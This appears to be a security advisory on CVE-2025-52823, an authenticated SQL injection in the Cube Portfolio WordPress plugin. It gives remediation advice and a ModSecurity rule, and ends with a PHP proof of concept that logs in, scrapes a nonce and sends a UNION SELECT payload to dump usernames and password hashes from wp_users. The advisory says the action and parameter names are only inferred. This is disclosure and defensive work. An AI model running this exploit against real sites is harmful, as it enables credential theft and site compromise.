Atomic Edge analysis of CVE-2025-52823 (metadata-based): This is an authenticated SQL injection vulnerability in Cube Portfolio versions up to 1.16.8. A subscriber-level user can inject SQL into queries executed by the plugin, leading to extraction of sensitive database contents. The CVSS score of 6.5 reflects a network attack vector, low attack complexity, low privileges required, and high confidentiality impact, with no integrity or availability impact.
Root Cause: The vulnerability stems from insufficient escaping of user-supplied input and lack of sufficient preparation on an existing SQL query (CWE-89). This is inferred from the description, as no source code diff is available. The plugin likely accepts a parameter via an AJAX action or shortcode handler and concatenates it directly into a SQL query without using $wpdb->prepare() or proper sanitization. The exact vulnerable parameter and endpoint are not confirmed from code, but the plugin slug suggests actions prefixed with cubeportfolio or similar.
Exploitation: An attacker with subscriber-level access can send a crafted request to an authenticated AJAX endpoint, likely /wp-admin/admin-ajax.php, with an action parameter tied to the plugin and a vulnerable parameter containing SQL injection payloads. For example, a parameter like id or category could be injected with a UNION SELECT statement to extract data from wp_users. The attack requires a valid nonce, which is obtainable by any authenticated user visiting the plugin’s admin pages or front-end forms. Since no code is available, the precise parameter name remains inferred, but the pattern is consistent with other WordPress plugin SQL injections.
Remediation: The fix requires using $wpdb->prepare() for all SQL queries that include user input, along with proper capability checks and nonce verification on the vulnerable AJAX handler. Input should be validated against a whitelist of expected values (e.g., integer casting for IDs). Without a patched version available, site owners should disable the plugin or apply a virtual patch.
Impact: Successful exploitation allows an attacker to read arbitrary data from the WordPress database, including user credentials (password hashes), personally identifiable information, and potentially sensitive configuration data. This can lead to privilege escalation if admin credentials are cracked, and further compromise of the site. The vulnerability does not allow direct code execution or data modification based on the CVSS vector (C:H/I:N/A:N).
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-52823 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2025-52823 SQL Injection via Cube Portfolio AJAX',severity:'CRITICAL',tag:'CVE-2025-52823'"
SecRule ARGS_POST:action "@streq cubeportfolio_get_item" "chain"
SecRule ARGS_POST:id "@detectSQLi" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-52823 - Cube Portfolio <= 1.16.8 - Authenticated (Subscriber+) SQL Injection
// This PoC demonstrates exploitation of an authenticated SQL injection via AJAX.
// It assumes a subscriber-level account and that the vulnerable action is 'cubeportfolio_get_item' with a parameter 'id'.
// The actual action and parameter are inferred and may require adjustment based on the plugin's code.
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_post = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_post);
$response = curl_exec($ch);
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.n');
}
echo 'Logged in successfully.n';
// Step 2: Obtain a nonce from the plugin's admin page (hypothetical)
// Visit the plugin's settings page to extract a nonce. Adjust the path based on plugin.
$admin_page = $target_url . '/wp-admin/admin.php?page=cubeportfolio'; // Inferred
curl_setopt($ch, CURLOPT_URL, $admin_page);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (!preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
die('Nonce not found. The plugin may not expose a nonce on this page.n');
}
$nonce = $matches[1];
echo 'Nonce extracted: ' . $nonce . 'n';
// Step 3: Craft SQL injection payload
// Assuming the vulnerable parameter is 'id' and the action is 'cubeportfolio_get_item'
$payload = "1 UNION SELECT NULL,user_login,user_pass,NULL,NULL FROM wp_users-- -";
// Step 4: Send AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = http_build_query([
'action' => 'cubeportfolio_get_item', // Inferred action
'id' => $payload,
'nonce' => $nonce
]);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
// Step 5: Output response
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . 'n';
} else {
echo 'Response:n' . $response . 'n';
}
curl_close($ch);
?>
